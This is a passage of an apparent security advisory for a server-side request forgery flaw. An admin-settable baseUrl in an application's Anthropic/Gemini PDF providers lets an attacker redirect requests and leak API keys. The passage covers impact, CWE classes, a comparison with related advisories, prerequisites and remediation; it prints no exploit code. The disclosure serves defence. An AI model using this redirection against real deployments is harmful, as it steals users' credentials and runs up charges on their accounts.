1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">4. Internal API with Credential Leakage</span></span></h4><div class="notion-text notion-block-3230f0c5b87c80b99ed6c1116c8f5b40"><b>Impact</b>: Send victim’s API keys to internal services, potential privilege escalation</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80a3a5a0e0d5e3563011" data-id="3230f0c5b87c80a3a5a0e0d5e3563011"><span><div id="3230f0c5b87c80a3a5a0e0d5e3563011" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80a3a5a0e0d5e3563011" title="Impact Assessment"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Impact Assessment</span></span></h4><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80319f63e634284bc858" data-id="3230f0c5b87c80319f63e634284bc858"><span><div id="3230f0c5b87c80319f63e634284bc858" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80319f63e634284bc858" title="Confidentiality Impact"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Confidentiality Impact</span></span></h4><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c8037878cddb4058924bd"><li><b>High</b>: API keys for paid services directly leaked</li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c80c3b459ccf149951dec"><li>Attacker can:</li><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c80c3b459ccf149951dec"><li>Use stolen Anthropic/Gemini API keys for unauthorized charges</li><li>Exhaust victim’s API quota</li><li>Access all PDF processing capabilities under victim’s account</li><li>Gemini key leak is worse (URL parameter logged in proxies, browser history, etc.)</li></ul></ul><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c806db588e7a19133b903" data-id="3230f0c5b87c806db588e7a19133b903"><span><div id="3230f0c5b87c806db588e7a19133b903" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c806db588e7a19133b903" title="Integrity Impact"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Integrity Impact</span></span></h4><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c80e1a6b8e8181478b0c7"><li><b>None</b>: SSRF only, no direct data modification</li></ul><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c801b8c48ce5a9c8ce2cc" data-id="3230f0c5b87c801b8c48ce5a9c8ce2cc"><span><div id="3230f0c5b87c801b8c48ce5a9c8ce2cc" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c801b8c48ce5a9c8ce2cc" title="Availability Impact"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Availability Impact</span></span></h4><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c808981e4e6627c49b3b9"><li><b>None</b>: No direct DoS vector, though stolen keys could be exhausted</li></ul><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80fa9f9cd10ade024515" data-id="3230f0c5b87c80fa9f9cd10ade024515"><span><div id="3230f0c5b87c80fa9f9cd10ade024515" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80fa9f9cd10ade024515" title="Scope Change"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Scope Change</span></span></h4><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c807da56bc2f0561b82c7"><li><b>Yes</b>: Allows attacking resources beyond application boundary</li></ul><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80cb9a01dd13a0d90431" data-id="3230f0c5b87c80cb9a01dd13a0d90431"><span><div id="3230f0c5b87c80cb9a01dd13a0d90431" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80cb9a01dd13a0d90431" title="Business Impact"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Business Impact</span></span></h4><table class="notion-simple-table notion-block-3230f0c5b87c80a5847fcfe28f449e3d"><tbody><tr class="notion-simple-table-row notion-simple-table-header-row notion-block-3230f0c5b87c8057a838ffe03211421a"><td class="" style="width:120px"><div class="notion-simple-table-cell">Category</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">Impact</div></td></tr><tr class="notion-simple-table-row notion-block-3230f0c5b87c80b79299cdd5b53d2544"><td class="" style="width:120px"><div class="notion-simple-table-cell">Financial</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">Unauthorized API usage charges, potential service suspension</div></td></tr><tr class="notion-simple-table-row notion-block-3230f0c5b87c80418b0bf43302ecafcb"><td class="" style="width:120px"><div class="notion-simple-table-cell">Compliance</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">PCI-DSS Requirement 6.5.1 (injection flaws), API key exposure</div></td></tr><tr class="notion-simple-table-row notion-block-3230f0c5b87c80a9a7eac24da64f06e0"><td class="" style="width:120px"><div class="notion-simple-table-cell">Reputation</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">Paid service credential exposure damages customer trust</div></td></tr><tr class="notion-simple-table-row notion-block-3230f0c5b87c801d811dc497960af6e9"><td class="" style="width:120px"><div class="notion-simple-table-cell">Operational</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">Must rotate all PDF provider API keys</div></td></tr></tbody></table><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80cca2a3fea816ec7ba6" data-id="3230f0c5b87c80cca2a3fea816ec7ba6"><span><div id="3230f0c5b87c80cca2a3fea816ec7ba6" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80cca2a3fea816ec7ba6" title="CWE Classification"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">CWE Classification</span></span></h4><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c80ddb3bfe050f0371916"><li><b>CWE-918</b>: Server-Side Request Forgery (SSRF)</li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c80b6a7f9f32e6e7e568c"><li><b>CWE-200</b>: Exposure of Sensitive Information to an Unauthorized Actor</li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c807a9721e23fdb7cfa4b"><li><b>CWE-598</b>: Use of GET Request Method With Query String for Sensitive Data (Gemini)</li></ul><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c8086bedffc96f2d7e749" data-id="3230f0c5b87c8086bedffc96f2d7e749"><span><div id="3230f0c5b87c8086bedffc96f2d7e749" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c8086bedffc96f2d7e749" title="Comparison with GHSA-007 (TTS SSRF) and GHSA-009 (Ollama SSRF)"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Comparison with GHSA-007 (TTS SSRF) and GHSA-009 (Ollama SSRF)</span></span></h4><table class="notion-simple-table notion-block-3230f0c5b87c803c8898d396702fc206"><tbody><tr class="notion-simple-table-row notion-simple-table-header-row notion-block-3230f0c5b87c80fd9519f2c9a09f7dc1"><td class="" style="width:120px"><div class="notion-simple-table-cell">Aspect</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">GHSA-010 (PDF)</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">GHSA-007 (TTS)</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">GHSA-009 (Ollama)</div></td></tr><tr class="notion-simple-table-row notion-block-3230f0c5b87c8069a772dd7455aea7b0"><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>Severity</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">Medium (6.8)</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">High (7.7)</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">Medium (6.8)</div></td></tr><tr class="notion-simple-table-row notion-block-3230f0c5b87c80deb77ccd3b75929ae8"><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>Attack Complexity</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">High</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">Low</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">Low</div></td></tr><tr class="notion-simple-table-row notion-block-3230f0c5b87c80de9230ef00437cc0a9"><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>API Keys Leaked</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">Yes</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">Yes</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">No</div></td></tr><tr class="notion-simple-table-row notion-block-3230f0c5b87c80df8713ebc610e4e89a"><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>baseUrl Parameter</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">Optional</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">Direct config</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">Direct config</div></td></tr><tr class="notion-simple-table-row notion-block-3230f0c5b87c8005853bfcca47abc489"><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>Trigger Frequency</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">Low (PDF uploads)</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">Medium (TTS requests)</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">High (automatic)</div></td></tr><tr class="notion-simple-table-row notion-block-3230f0c5b87c80baad18fb7021c3f7f7"><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>Impact</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">API key theft</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">API key theft</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">Network recon</div></td></tr><tr class="notion-simple-table-row notion-block-3230f0c5b87c80099467d90b50bbf380"><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>CVSS Vector</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">AC:H (harder to exploit)</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">AC:L (easy to exploit)</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">AC:L + no credential leak</div></td></tr></tbody></table><div class="notion-text notion-block-3230f0c5b87c80709991d0e116e34353"><b>Why AC:H (High Attack Complexity)?</b>
- baseUrl is optional parameter with default values
- PDF processing may not be enabled in all deployments
- Requires specific use case (PDF document uploads)
- Less frequently triggered than TTS or model discovery</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c8093af49d2fea3c2ebd2" data-id="3230f0c5b87c8093af49d2fea3c2ebd2"><span><div id="3230f0c5b87c8093af49d2fea3c2ebd2" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c8093af49d2fea3c2ebd2" title="Similarities"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Similarities</span></span></h4><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c80609097e60e9fef776e"><li>All three use same vulnerable pattern (baseUrl + raw fetch)</li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c80f2ac71c2cd806a495a"><li>All require admin/operator privileges</li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c806b8816ccf2248b6ed3"><li>All can target internal services and cloud metadata</li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c80238a38dc689dd977d0"><li>All need same remediation approach</li></ul><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c807eb2fae6a227c0465d" data-id="3230f0c5b87c807eb2fae6a227c0465d"><span><div id="3230f0c5b87c807eb2fae6a227c0465d" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c807eb2fae6a227c0465d" title="Affected Versions"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Affected Versions</span></span></h4><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c808395ffc229363a07ae"><li>All versions implementing Anthropic/Gemini PDF providers</li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c803c9a9bcab40235e591"><li>Confirmed exploitable as of 2026-03-11 code analysis</li></ul><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c8007a6b4ede44c6cbbd7" data-id="3230f0c5b87c8007a6b4ede44c6cbbd7"><span><div id="3230f0c5b87c8007a6b4ede44c6cbbd7" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c8007a6b4ede44c6cbbd7" title="Prerequisites"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Prerequisites</span></span></h4><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c80129c57ed8c529f9765"><li>Attacker requires <b>admin or operator</b> role to modify configuration</li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c8075adc2ccafe4b30ff8"><li>Valid authentication token with configuration write permissions</li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c80d69c6cca241cc9df9f"><li>Knowledge of current <code class="notion-inline-code">baseHash</code> for configuration updates</li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c807b9bb7fb526d49e3d7"><li>PDF processing feature must be enabled</li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c801fa8ecceec37e81d96"><li>User must upload PDF document to trigger vulnerability</li></ul><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c802eaee4d55c352e2e52" data-id="3230f0c5b87c802eaee4d55c352e2e52"><span><div id="3230f0c5b87c802eaee4d55c352e2e52" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c802eaee4d55c352e2e52" title="Remediation"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Remediation</span></span></h4><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80dfbffbf526a722da8b" data-id="3230f0c5b87c80dfbffbf526a722da8b"><span><div id="3230f0c5b87c80dfbffbf526a722da8b" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80dfbffbf526a722da8b" title="Immediate Mitigations"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Immediate Mitigations</span></span></h4><div class="notion-text notion-block-3230f0c5b87c80648bcdfd48e590161c"><b>1. Implement SSRF URL Validation</b> (Same as GHSA-007/009)</div><div class="notion-text notion-block-3230f0c5b87c809bb944fe31a6d7753d"><b>2. Apply Strict Allowlist</b></div><div class="notion-text notion-block-3230f0c5b87c800fbb3be8525628e0fd"><b>3. Remove baseUrl Configuration Entirely (Recommended)</b></div><div class="notion-text notion-block-3230f0c5b87c806c8befddc73e05c851"><b>4. Fix Gemini Query Parameter Leak</b></div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c809f96bac89133f6f71f" data-id="3230f0c5b87c809f96bac89133f6f71f"><span><div id="3230f0c5b87c809f96bac89133f6f71f" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c809f96bac89133f6f71f" title="Long-term Solutions"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Long-term Solutions</span></span></h4><ol start="1" class="notion-list notion-list-numbered notion-block-3230f0c5b87c80d19e69d06221a22a76" style="list-style-type:decimal"><li><b>Remove all baseUrl configuration options</b> - Hardcode provider endpoints</li></ol><ol start="2" class="notion-list notion-list-numbered notion-block-3230f0c5b87c805e89edc28af7188638" style="list-style-type:decimal"><li><b>Use Authorization headers exclusively</b> - Never put credentials in URLs</li></ol><ol start="3" class="notion-list notion-list-numbered notion-block-3230f0c5b87c80318fadd83f63440f55" style="list-style-type:decimal"><li><b>Implement unified HTTP client with SSRF protection</b> - Single point of validation</li></ol><ol start="4" class="notion-list notion-list-numbered notion-block-3230f0c5b87c80cc81afdc8130e20cf7" style="list-style-type:decimal"><li><b>Add comprehensive audit logging</b> - Track all PDF processing requests</li></ol><ol start="5" class="notion-list notion-list-numbered notion-block-3230f0c5b87c805f87baca97c743d92c" style="list-style-type:decimal"><li><b>Network-level egress filtering</b> - Firewall rules preventing internal access</li></ol><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80fb920cd377a01a62dd" data-id="3230f0c5b87c80fb920cd377a01a62dd"><span><div id="3230f0c5b87c80fb920cd377a01a62dd" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80fb920cd377a01a62dd" title="Detection Methods"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Detection Methods</span></span></h4><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c8049baefea4085198dc5" data-id="3230f0c5b87c8049baefea4085198dc5"><span><div id="3230f0c5b87c8049baefea4085198dc5" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c8049baefea4085198dc5" title="Log-based Detection"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Log-based Detection</span></span></h4><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c8052919bc40cc56a0493" data-id="3230f0c5b87c8052919bc40cc56a0493"><span><div id="3230f0c5b87c8052919bc40cc56a0493" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c8052919bc40cc56a0493" title="Network Monitoring"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Network Monitoring</span></span></h4><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80a08963dbb6c0cfb33c" data-id="3230f0c5b87c80a08963dbb6c0cfb33c"><span><div id="3230f0c5b87c80a08963dbb6c0cfb33c" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80a08963dbb6c0cfb33c" title="Configuration Audit"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Configuration Audit</span></span></h4><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c804ea1a9c6468cd12672" data-id="3230f0c5b87c804ea1a9c6468cd12672"><span><div id="3230f0c5b87c804ea1a9c6468cd12672" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c804ea1a9c6468cd12672" title="Timeline"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 